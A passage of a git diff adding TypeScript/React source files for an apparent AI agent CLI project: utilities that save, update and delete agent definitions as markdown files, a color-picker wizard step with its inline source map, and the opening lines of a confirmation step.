JQUFJLENBQUFDLEtBQU0sQ0FBRSxDQUFDRixlQUFlLEdBQUcvQyxVQUFVLElBQUkrQyxlQUFlLEdBQUksR0FBRyxDQUFDO01BQUEzQyxDQUFBLE1BQUEyQyxlQUFBO01BQUEzQyxDQUFBLE1BQUFKLFVBQUE7TUFBQUksQ0FBQSxNQUFBOEIsRUFBQTtJQUFBO01BQUFBLEVBQUEsR0FBQTlCLENBQUE7SUFBQTtJQUZ0RXVDLGtCQUFBLENBQUFBLENBQUEsQ0FBcUJLLElBQUksQ0FBQUUsR0FBSSxDQUMzQixDQUFDLEVBQ0RoQixFQUNGLENBQUM7RUFIaUI7RUFTcEIsSUFBSVcsWUFBMkMsSUFBM0J6RCxPQUFPLENBQUMsa0JBQWtCLENBQUM7SUFBQSxJQUFBOEMsRUFBQTtJQUFBLElBQUE5QixDQUFBLFFBQUFJLE1BQUEsQ0FBQUMsR0FBQTtNQUUzQ3lCLEVBQUEsSUFBQyxHQUFHLENBQWUsYUFBSyxDQUFMLEtBQUssQ0FDdEIsQ0FBQyxhQUFhLENBQWlCNUIsY0FBYyxDQUFkQSxlQUFhLENBQUMsR0FDL0MsRUFGQyxHQUFHLENBRUU7TUFBQUYsQ0FBQSxNQUFBOEIsRUFBQTtJQUFBO01BQUFBLEVBQUEsR0FBQTlCLENBQUE7SUFBQTtJQUFBLE9BRk44QixFQUVNO0VBQUE7RUFJVixNQUFBaUIsZ0JBQUEsR0FBeUJQLGdCQUFnQixHQUFoQixHQUNsQixHQUFHLEdBQUdELGtCQUFrQixnQkFDZ0IsR0FGdEIsR0FFbEJBLGtCQUFrQixzQkFBc0I7RUFBQSxJQUFBVCxFQUFBO0VBQUEsSUFBQTlCLENBQUEsUUFBQStDLGdCQUFBLElBQUEvQyxDQUFBLFNBQUFvQyxxQkFBQSxJQUFBcEMsQ0FBQSxTQUFBa0MsV0FBQTtJQUc3Q0osRUFBQSxJQUFDLEdBQUcsQ0FBZSxhQUFLLENBQUwsS0FBSyxDQUNyQixDQUFBUSxzQkFBc0IsR0FDckIsQ0FBQyxJQUFJLENBQUMsUUFBUSxDQUFSLEtBQU8sQ0FBQyxDQUFNLElBQVUsQ0FBVixVQUFVLENBQzNCLENBQUFwQyxjQUFjLEdBQWQsR0FDTTZDLGdCQUFnQixXQUFXN0MsY0FBYyxFQUM1QixHQUZuQjZDLGdCQUVrQixDQUNyQixFQUpDLElBQUksQ0FjTixHQVJDLENBQUMsSUFBSSxDQUNJLEtBQTJDLENBQTNDLENBQUFYLHFCQUFxQixHQUFyQixPQUEyQyxHQUEzQyxTQUEwQyxDQUFDLENBQzdDLElBQVUsQ0FBVixVQUFVLENBRWQsQ0FBQWxDLGNBQWMsR0FBZCxnQkFDbUJnQyxXQUFXLHVCQUF1QmhDLGNBQWMsRUFDbUIsR0FGdEYsZ0JBRW1CZ0MsV0FBVyx3REFBdUQsQ0FDeEYsRUFQQyxJQUFJLENBUVAsQ0FDRixFQWpCQyxHQUFHLENBaUJFO0lBQUFsQyxDQUFBLE1BQUErQyxnQkFBQTtJQUFBL0MsQ0FBQSxPQUFBb0MscUJBQUE7SUFBQXBDLENBQUEsT0FBQWtDLFdBQUE7SUFBQWxDLENBQUEsT0FBQThCLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUE5QixDQUFBO0VBQUE7RUFBQSxPQWpCTjhCLEVBaUJNO0FBQUEiLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/cc-haha/src/components/agents/agentFileUtils.ts b/cc-haha/src/components/agents/agentFileUtils.ts
new file mode 100644
index 0000000..87e4e4b
--- /dev/null
+++ b/cc-haha/src/components/agents/agentFileUtils.ts
@@ -0,0 +1,272 @@
+import { mkdir, open, unlink } from 'fs/promises'
+import { join } from 'path'
+import type { SettingSource } from 'src/utils/settings/constants.js'
+import { getManagedFilePath } from 'src/utils/settings/managedPath.js'
+import type { AgentMemoryScope } from '../../tools/AgentTool/agentMemory.js'
+import {
+  type AgentDefinition,
+  isBuiltInAgent,
+  isPluginAgent,
+} from '../../tools/AgentTool/loadAgentsDir.js'
+import { getCwd } from '../../utils/cwd.js'
+import type { EffortValue } from '../../utils/effort.js'
+import { getClaudeConfigHomeDir } from '../../utils/envUtils.js'
+import { getErrnoCode } from '../../utils/errors.js'
+import { AGENT_PATHS } from './types.js'
+
+/**
+ * Formats agent data as markdown file content
+ */
+export function formatAgentAsMarkdown(
+  agentType: string,
+  whenToUse: string,
+  tools: string[] | undefined,
+  systemPrompt: string,
+  color?: string,
+  model?: string,
+  memory?: AgentMemoryScope,
+  effort?: EffortValue,
+): string {
+  // For YAML double-quoted strings, we need to escape:
+  // - Backslashes: \ -> \\
+  // - Double quotes: " -> \"
+  // - Newlines: \n -> \\n (so yaml reads it as literal backslash-n, not newline)
+  const escapedWhenToUse = whenToUse
+    .replace(/\\/g, '\\\\') // Escape backslashes first
+    .replace(/"/g, '\\"') // Escape double quotes
+    .replace(/\n/g, '\\\\n') // Escape newlines as \\n so yaml preserves them as \n
+
+  // Omit tools field entirely when tools is undefined or ['*'] (all tools allowed)
+  const isAllTools =
+    tools === undefined || (tools.length === 1 && tools[0] === '*')
+  const toolsLine = isAllTools ? '' : `\ntools: ${tools.join(', ')}`
+  const modelLine = model ? `\nmodel: ${model}` : ''
+  const effortLine = effort !== undefined ? `\neffort: ${effort}` : ''
+  const colorLine = color ? `\ncolor: ${color}` : ''
+  const memoryLine = memory ? `\nmemory: ${memory}` : ''
+
+  return `---
+name: ${agentType}
+description: "${escapedWhenToUse}"${toolsLine}${modelLine}${effortLine}${colorLine}${memoryLine}
+---
+
+${systemPrompt}
+`
+}
+
+/**
+ * Gets the directory path for an agent location
+ */
+function getAgentDirectoryPath(location: SettingSource): string {
+  switch (location) {
+    case 'flagSettings':
+      throw new Error(`Cannot get directory path for ${location} agents`)
+    case 'userSettings':
+      return join(getClaudeConfigHomeDir(), AGENT_PATHS.AGENTS_DIR)
+    case 'projectSettings':
+      return join(getCwd(), AGENT_PATHS.FOLDER_NAME, AGENT_PATHS.AGENTS_DIR)
+    case 'policySettings':
+      return join(
+        getManagedFilePath(),
+        AGENT_PATHS.FOLDER_NAME,
+        AGENT_PATHS.AGENTS_DIR,
+      )
+    case 'localSettings':
+      return join(getCwd(), AGENT_PATHS.FOLDER_NAME, AGENT_PATHS.AGENTS_DIR)
+  }
+}
+
+function getRelativeAgentDirectoryPath(location: SettingSource): string {
+  switch (location) {
+    case 'projectSettings':
+      return join('.', AGENT_PATHS.FOLDER_NAME, AGENT_PATHS.AGENTS_DIR)
+    default:
+      return getAgentDirectoryPath(location)
+  }
+}
+
+/**
+ * Gets the file path for a new agent based on its name
+ * Used when creating new agent files
+ */
+export function getNewAgentFilePath(agent: {
+  source: SettingSource
+  agentType: string
+}): string {
+  const dirPath = getAgentDirectoryPath(agent.source)
+  return join(dirPath, `${agent.agentType}.md`)
+}
+
+/**
+ * Gets the actual file path for an agent (handles filename vs agentType mismatch)
+ * Always use this for existing agents to get their real file location
+ */
+export function getActualAgentFilePath(agent: AgentDefinition): string {
+  if (agent.source === 'built-in') {
+    return 'Built-in'
+  }
+  if (agent.source === 'plugin') {
+    throw new Error('Cannot get file path for plugin agents')
+  }
+
+  const dirPath = getAgentDirectoryPath(agent.source)
+  const filename = agent.filename || agent.agentType
+  return join(dirPath, `${filename}.md`)
+}
+
+/**
+ * Gets the relative file path for a new agent based on its name
+ * Used for displaying where new agent files will be created
+ */
+export function getNewRelativeAgentFilePath(agent: {
+  source: SettingSource | 'built-in'
+  agentType: string
+}): string {
+  if (agent.source === 'built-in') {
+    return 'Built-in'
+  }
+  const dirPath = getRelativeAgentDirectoryPath(agent.source)
+  return join(dirPath, `${agent.agentType}.md`)
+}
+
+/**
+ * Gets the actual relative file path for an agent (handles filename vs agentType mismatch)
+ */
+export function getActualRelativeAgentFilePath(agent: AgentDefinition): string {
+  if (isBuiltInAgent(agent)) {
+    return 'Built-in'
+  }
+  if (isPluginAgent(agent)) {
+    return `Plugin: ${agent.plugin || 'Unknown'}`
+  }
+  if (agent.source === 'flagSettings') {
+    return 'CLI argument'
+  }
+
+  const dirPath = getRelativeAgentDirectoryPath(agent.source)
+  const filename = agent.filename || agent.agentType
+  return join(dirPath, `${filename}.md`)
+}
+
+/**
+ * Ensures the directory for an agent location exists
+ */
+async function ensureAgentDirectoryExists(
+  source: SettingSource,
+): Promise<string> {
+  const dirPath = getAgentDirectoryPath(source)
+  await mkdir(dirPath, { recursive: true })
+  return dirPath
+}
+
+/**
+ * Saves an agent to the filesystem
+ * @param checkExists - If true, throws error if file already exists
+ */
+export async function saveAgentToFile(
+  source: SettingSource | 'built-in',
+  agentType: string,
+  whenToUse: string,
+  tools: string[] | undefined,
+  systemPrompt: string,
+  checkExists = true,
+  color?: string,
+  model?: string,
+  memory?: AgentMemoryScope,
+  effort?: EffortValue,
+): Promise<void> {
+  if (source === 'built-in') {
+    throw new Error('Cannot save built-in agents')
+  }
+
+  await ensureAgentDirectoryExists(source)
+  const filePath = getNewAgentFilePath({ source, agentType })
+
+  const content = formatAgentAsMarkdown(
+    agentType,
+    whenToUse,
+    tools,
+    systemPrompt,
+    color,
+    model,
+    memory,
+    effort,
+  )
+  try {
+    await writeFileAndFlush(filePath, content, checkExists ? 'wx' : 'w')
+  } catch (e: unknown) {
+    if (getErrnoCode(e) === 'EEXIST') {
+      throw new Error(`Agent file already exists: ${filePath}`)
+    }
+    throw e
+  }
+}
+
+/**
+ * Updates an existing agent file
+ */
+export async function updateAgentFile(
+  agent: AgentDefinition,
+  newWhenToUse: string,
+  newTools: string[] | undefined,
+  newSystemPrompt: string,
+  newColor?: string,
+  newModel?: string,
+  newMemory?: AgentMemoryScope,
+  newEffort?: EffortValue,
+): Promise<void> {
+  if (agent.source === 'built-in') {
+    throw new Error('Cannot update built-in agents')
+  }
+
+  const filePath = getActualAgentFilePath(agent)
+
+  const content = formatAgentAsMarkdown(
+    agent.agentType,
+    newWhenToUse,
+    newTools,
+    newSystemPrompt,
+    newColor,
+    newModel,
+    newMemory,
+    newEffort,
+  )
+
+  await writeFileAndFlush(filePath, content)
+}
+
+/**
+ * Deletes an agent file
+ */
+export async function deleteAgentFromFile(
+  agent: AgentDefinition,
+): Promise<void> {
+  if (agent.source === 'built-in') {
+    throw new Error('Cannot delete built-in agents')
+  }
+
+  const filePath = getActualAgentFilePath(agent)
+
+  try {
+    await unlink(filePath)
+  } catch (e: unknown) {
+    const code = getErrnoCode(e)
+    if (code !== 'ENOENT') {
+      throw e
+    }
+  }
+}
+
+async function writeFileAndFlush(
+  filePath: string,
+  content: string,
+  flag: 'w' | 'wx' = 'w',
+): Promise<void> {
+  const handle = await open(filePath, flag)
+  try {
+    await handle.writeFile(content, { encoding: 'utf-8' })
+    await handle.datasync()
+  } finally {
+    await handle.close()
+  }
+}
diff --git a/cc-haha/src/components/agents/new-agent-creation/wizard-steps/ColorStep.tsx b/cc-haha/src/components/agents/new-agent-creation/wizard-steps/ColorStep.tsx
new file mode 100644
index 0000000..4d5d338
--- /dev/null
+++ b/cc-haha/src/components/agents/new-agent-creation/wizard-steps/ColorStep.tsx
@@ -0,0 +1,84 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { type ReactNode } from 'react';
+import { Box } from '../../../../ink.js';
+import { useKeybinding } from '../../../../keybindings/useKeybinding.js';
+import type { AgentColorName } from '../../../../tools/AgentTool/agentColorManager.js';
+import { ConfigurableShortcutHint } from '../../../ConfigurableShortcutHint.js';
+import { Byline } from '../../../design-system/Byline.js';
+import { KeyboardShortcutHint } from '../../../design-system/KeyboardShortcutHint.js';
+import { useWizard } from '../../../wizard/index.js';
+import { WizardDialogLayout } from '../../../wizard/WizardDialogLayout.js';
+import { ColorPicker } from '../../ColorPicker.js';
+import type { AgentWizardData } from '../types.js';
+export function ColorStep() {
+  const $ = _c(14);
+  const {
+    goNext,
+    goBack,
+    updateWizardData,
+    wizardData
+  } = useWizard();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {
+      context: "Confirmation"
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  useKeybinding("confirm:no", goBack, t0);
+  let t1;
+  if ($[1] !== goNext || $[2] !== updateWizardData || $[3] !== wizardData.agentType || $[4] !== wizardData.location || $[5] !== wizardData.selectedModel || $[6] !== wizardData.selectedTools || $[7] !== wizardData.systemPrompt || $[8] !== wizardData.whenToUse) {
+    t1 = color => {
+      updateWizardData({
+        selectedColor: color,
+        finalAgent: {
+          agentType: wizardData.agentType,
+          whenToUse: wizardData.whenToUse,
+          getSystemPrompt: () => wizardData.systemPrompt,
+          tools: wizardData.selectedTools,
+          ...(wizardData.selectedModel ? {
+            model: wizardData.selectedModel
+          } : {}),
+          ...(color ? {
+            color: color as AgentColorName
+          } : {}),
+          source: wizardData.location
+        }
+      });
+      goNext();
+    };
+    $[1] = goNext;
+    $[2] = updateWizardData;
+    $[3] = wizardData.agentType;
+    $[4] = wizardData.location;
+    $[5] = wizardData.selectedModel;
+    $[6] = wizardData.selectedTools;
+    $[7] = wizardData.systemPrompt;
+    $[8] = wizardData.whenToUse;
+    $[9] = t1;
+  } else {
+    t1 = $[9];
+  }
+  const handleConfirm = t1;
+  let t2;
+  if ($[10] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = <Byline><KeyboardShortcutHint shortcut={"\u2191\u2193"} action="navigate" /><KeyboardShortcutHint shortcut="Enter" action="select" /><ConfigurableShortcutHint action="confirm:no" context="Confirmation" fallback="Esc" description="go back" /></Byline>;
+    $[10] = t2;
+  } else {
+    t2 = $[10];
+  }
+  const t3 = wizardData.agentType || "agent";
+  let t4;
+  if ($[11] !== handleConfirm || $[12] !== t3) {
+    t4 = <WizardDialogLayout subtitle="Choose background color" footerText={t2}><Box><ColorPicker agentName={t3} currentColor="automatic" onConfirm={handleConfirm} /></Box></WizardDialogLayout>;
+    $[11] = handleConfirm;
+    $[12] = t3;
+    $[13] = t4;
+  } else {
+    t4 = $[13];
+  }
+  return t4;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlJlYWN0Tm9kZSIsIkJveCIsInVzZUtleWJpbmRpbmciLCJBZ2VudENvbG9yTmFtZSIsIkNvbmZpZ3VyYWJsZVNob3J0Y3V0SGludCIsIkJ5bGluZSIsIktleWJvYXJkU2hvcnRjdXRIaW50IiwidXNlV2l6YXJkIiwiV2l6YXJkRGlhbG9nTGF5b3V0IiwiQ29sb3JQaWNrZXIiLCJBZ2VudFdpemFyZERhdGEiLCJDb2xvclN0ZXAiLCIkIiwiX2MiLCJnb05leHQiLCJnb0JhY2siLCJ1cGRhdGVXaXphcmREYXRhIiwid2l6YXJkRGF0YSIsInQwIiwiU3ltYm9sIiwiZm9yIiwiY29udGV4dCIsInQxIiwiYWdlbnRUeXBlIiwibG9jYXRpb24iLCJzZWxlY3RlZE1vZGVsIiwic2VsZWN0ZWRUb29scyIsInN5c3RlbVByb21wdCIsIndoZW5Ub1VzZSIsImNvbG9yIiwic2VsZWN0ZWRDb2xvciIsImZpbmFsQWdlbnQiLCJnZXRTeXN0ZW1Qcm9tcHQiLCJ0b29scyIsIm1vZGVsIiwic291cmNlIiwiaGFuZGxlQ29uZmlybSIsInQyIiwidDMiLCJ0NCJdLCJzb3VyY2VzIjpbIkNvbG9yU3RlcC50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0LCB7IHR5cGUgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBCb3ggfSBmcm9tICcuLi8uLi8uLi8uLi9pbmsuanMnXG5pbXBvcnQgeyB1c2VLZXliaW5kaW5nIH0gZnJvbSAnLi4vLi4vLi4vLi4va2V5YmluZGluZ3MvdXNlS2V5YmluZGluZy5qcydcbmltcG9ydCB0eXBlIHsgQWdlbnRDb2xvck5hbWUgfSBmcm9tICcuLi8uLi8uLi8uLi90b29scy9BZ2VudFRvb2wvYWdlbnRDb2xvck1hbmFnZXIuanMnXG5pbXBvcnQgeyBDb25maWd1cmFibGVTaG9ydGN1dEhpbnQgfSBmcm9tICcuLi8uLi8uLi9Db25maWd1cmFibGVTaG9ydGN1dEhpbnQuanMnXG5pbXBvcnQgeyBCeWxpbmUgfSBmcm9tICcuLi8uLi8uLi9kZXNpZ24tc3lzdGVtL0J5bGluZS5qcydcbmltcG9ydCB7IEtleWJvYXJkU2hvcnRjdXRIaW50IH0gZnJvbSAnLi4vLi4vLi4vZGVzaWduLXN5c3RlbS9LZXlib2FyZFNob3J0Y3V0SGludC5qcydcbmltcG9ydCB7IHVzZVdpemFyZCB9IGZyb20gJy4uLy4uLy4uL3dpemFyZC9pbmRleC5qcydcbmltcG9ydCB7IFdpemFyZERpYWxvZ0xheW91dCB9IGZyb20gJy4uLy4uLy4uL3dpemFyZC9XaXphcmREaWFsb2dMYXlvdXQuanMnXG5pbXBvcnQgeyBDb2xvclBpY2tlciB9IGZyb20gJy4uLy4uL0NvbG9yUGlja2VyLmpzJ1xuaW1wb3J0IHR5cGUgeyBBZ2VudFdpemFyZERhdGEgfSBmcm9tICcuLi90eXBlcy5qcydcblxuZXhwb3J0IGZ1bmN0aW9uIENvbG9yU3RlcCgpOiBSZWFjdE5vZGUge1xuICBjb25zdCB7IGdvTmV4dCwgZ29CYWNrLCB1cGRhdGVXaXphcmREYXRhLCB3aXphcmREYXRhIH0gPVxuICAgIHVzZVdpemFyZDxBZ2VudFdpemFyZERhdGE+KClcblxuICAvLyBIYW5kbGUgZXNjYXBlIGtleSAtIENvbG9yUGlja2VyIGhhbmRsZXMgaXRzIG93biBlc2NhcGUgaW50ZXJuYWxseVxuICB1c2VLZXliaW5kaW5nKCdjb25maXJtOm5vJywgZ29CYWNrLCB7IGNvbnRleHQ6ICdDb25maXJtYXRpb24nIH0pXG5cbiAgY29uc3QgaGFuZGxlQ29uZmlybSA9IChjb2xvcj86IHN0cmluZyk6IHZvaWQgPT4ge1xuICAgIHVwZGF0ZVdpemFyZERhdGEoe1xuICAgICAgc2VsZWN0ZWRDb2xvcjogY29sb3IsXG4gICAgICAvLyBQcmVwYXJlIGZpbmFsIGFnZW50IGZvciBjb25maXJtYXRpb25cbiAgICAgIGZpbmFsQWdlbnQ6IHtcbiAgICAgICAgYWdlbnRUeXBlOiB3aXphcmREYXRhLmFnZW50VHlwZSEsXG4gICAgICAgIHdoZW5Ub1VzZTogd2l6YXJkRGF0YS53aGVuVG9Vc2UhLFxuICAgICAgICBnZXRTeXN0ZW1Qcm9tcHQ6ICgpID0+IHdpemFyZERhdGEuc3lzdGVtUHJvbXB0ISxcbiAgICAgICAgdG9vbHM6IHdpemFyZERhdGEuc2VsZWN0ZWRUb29scyxcbiAgICAgICAgLi4uKHdpemFyZERhdGEuc2VsZWN0ZWRNb2RlbFxuICAgICAgICAgID8geyBtb2RlbDogd2l6YXJkRGF0YS5zZWxlY3RlZE1vZGVsIH1cbiAgICAgICAgICA6IHt9KSxcbiAgICAgICAgLi4uKGNvbG9yID8geyBjb2xvcjogY29sb3IgYXMgQWdlbnRDb2xvck5hbWUgfSA6IHt9KSxcbiAgICAgICAgc291cmNlOiB3aXphcmREYXRhLmxvY2F0aW9uISxcbiAgICAgIH0sXG4gICAgfSlcbiAgICBnb05leHQoKVxuICB9XG5cbiAgcmV0dXJuIChcbiAgICA8V2l6YXJkRGlhbG9nTGF5b3V0XG4gICAgICBzdWJ0aXRsZT1cIkNob29zZSBiYWNrZ3JvdW5kIGNvbG9yXCJcbiAgICAgIGZvb3RlclRleHQ9e1xuICAgICAgICA8QnlsaW5lPlxuICAgICAgICAgIDxLZXlib2FyZFNob3J0Y3V0SGludCBzaG9ydGN1dD1cIuKGkeKGk1wiIGFjdGlvbj1cIm5hdmlnYXRlXCIgLz5cbiAgICAgICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9XCJFbnRlclwiIGFjdGlvbj1cInNlbGVjdFwiIC8+XG4gICAgICAgICAgPENvbmZpZ3VyYWJsZVNob3J0Y3V0SGludFxuICAgICAgICAgICAgYWN0aW9uPVwiY29uZmlybTpub1wiXG4gICAgICAgICAgICBjb250ZXh0PVwiQ29uZmlybWF0aW9uXCJcbiAgICAgICAgICAgIGZhbGxiYWNrPVwiRXNjXCJcbiAgICAgICAgICAgIGRlc2NyaXB0aW9uPVwiZ28gYmFja1wiXG4gICAgICAgICAgLz5cbiAgICAgICAgPC9CeWxpbmU+XG4gICAgICB9XG4gICAgPlxuICAgICAgPEJveD5cbiAgICAgICAgPENvbG9yUGlja2VyXG4gICAgICAgICAgYWdlbnROYW1lPXt3aXphcmREYXRhLmFnZW50VHlwZSB8fCAnYWdlbnQnfVxuICAgICAgICAgIGN1cnJlbnRDb2xvcj1cImF1dG9tYXRpY1wiXG4gICAgICAgICAgb25Db25maXJtPXtoYW5kbGVDb25maXJtfVxuICAgICAgICAvPlxuICAgICAgPC9Cb3g+XG4gICAgPC9XaXphcmREaWFsb2dMYXlvdXQ+XG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLE9BQU9BLEtBQUssSUFBSSxLQUFLQyxTQUFTLFFBQVEsT0FBTztBQUM3QyxTQUFTQyxHQUFHLFFBQVEsb0JBQW9CO0FBQ3hDLFNBQVNDLGFBQWEsUUFBUSwwQ0FBMEM7QUFDeEUsY0FBY0MsY0FBYyxRQUFRLGtEQUFrRDtBQUN0RixTQUFTQyx3QkFBd0IsUUFBUSxzQ0FBc0M7QUFDL0UsU0FBU0MsTUFBTSxRQUFRLGtDQUFrQztBQUN6RCxTQUFTQyxvQkFBb0IsUUFBUSxnREFBZ0Q7QUFDckYsU0FBU0MsU0FBUyxRQUFRLDBCQUEwQjtBQUNwRCxTQUFTQyxrQkFBa0IsUUFBUSx1Q0FBdUM7QUFDMUUsU0FBU0MsV0FBVyxRQUFRLHNCQUFzQjtBQUNsRCxjQUFjQyxlQUFlLFFBQVEsYUFBYTtBQUVsRCxPQUFPLFNBQUFDLFVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFDTDtJQUFBQyxNQUFBO0lBQUFDLE1BQUE7SUFBQUMsZ0JBQUE7SUFBQUM7RUFBQSxJQUNFVixTQUFTLENBQWtCLENBQUM7RUFBQSxJQUFBVyxFQUFBO0VBQUEsSUFBQU4sQ0FBQSxRQUFBTyxNQUFBLENBQUFDLEdBQUE7SUFHTUYsRUFBQTtNQUFBRyxPQUFBLEVBQVc7SUFBZSxDQUFDO0lBQUFULENBQUEsTUFBQU0sRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQU4sQ0FBQTtFQUFBO0VBQS9EVixhQUFhLENBQUMsWUFBWSxFQUFFYSxNQUFNLEVBQUVHLEVBQTJCLENBQUM7RUFBQSxJQUFBSSxFQUFBO0VBQUEsSUFBQVYsQ0FBQSxRQUFBRSxNQUFBLElBQUFGLENBQUEsUUFBQUks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
\ No newline at end of file
diff --git a/cc-haha/src/components/agents/new-agent-creation/wizard-steps/ConfirmStep.tsx b/cc-haha/src/components/agents/new-agent-creation/wizard-steps/ConfirmStep.tsx
new file mode 100644
index 0000000..308b808
--- /dev/null
+++ b/cc-haha/src/components/agents/new-agent-creation/wizard-steps/ConfirmStep.tsx
@@ -0,0 +1,378 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { type ReactNode } from 'react';
+import type { KeyboardEvent } from '../../../../ink/events/keyboard-event.js';
+import { Box, Text } from '../../../../ink.js';
+import { useKeybinding } from '../../../../keybindings/useKeybinding.js';
+import { isAutoMemoryEnabled } from '../../../../memdir/paths.js';
+import type { Tools } from '../../../../Tool.js';
+import { getMemoryScopeDisplay } from '../../../../tools/AgentTool/agentMemory.js';
+import type { AgentDefinition } from '../../../../tools/AgentTool/loadAgentsDir.js';
+import { truncateToWidth } from '../../../../utils/format.js';
+import { getAgentModelDisplay } from '../../../../utils/model/agent.js';
+import { ConfigurableShortcutHint } from '../../../ConfigurableShortcutHint.js';
+import { Byline } from '../../../design-system/Byline.js';
+import { KeyboardShortcutHint } from '../../../design-system/KeyboardShortcutHint.js';
+import { useWizard } from '../../../wizard/index.js';
+import { WizardDialogLayout } from '../../../wizard/WizardDialogLayout.js';
+import { getNewRelativeAgentFilePath } from '../../agentFileUtils.js';
+import { validateAgent } from '../../validateAgent.js';
+import type { AgentWizardData } from '../types.js';
+type Props = {
+  tools: Tools;
+  existingAgents: AgentDefinition[];
+  onSave: () => void;
+  onSaveAndEdit: () => void;
+  error?: string | null;
+};
+export function ConfirmStep(t0) {
+  const $ = _c(88);
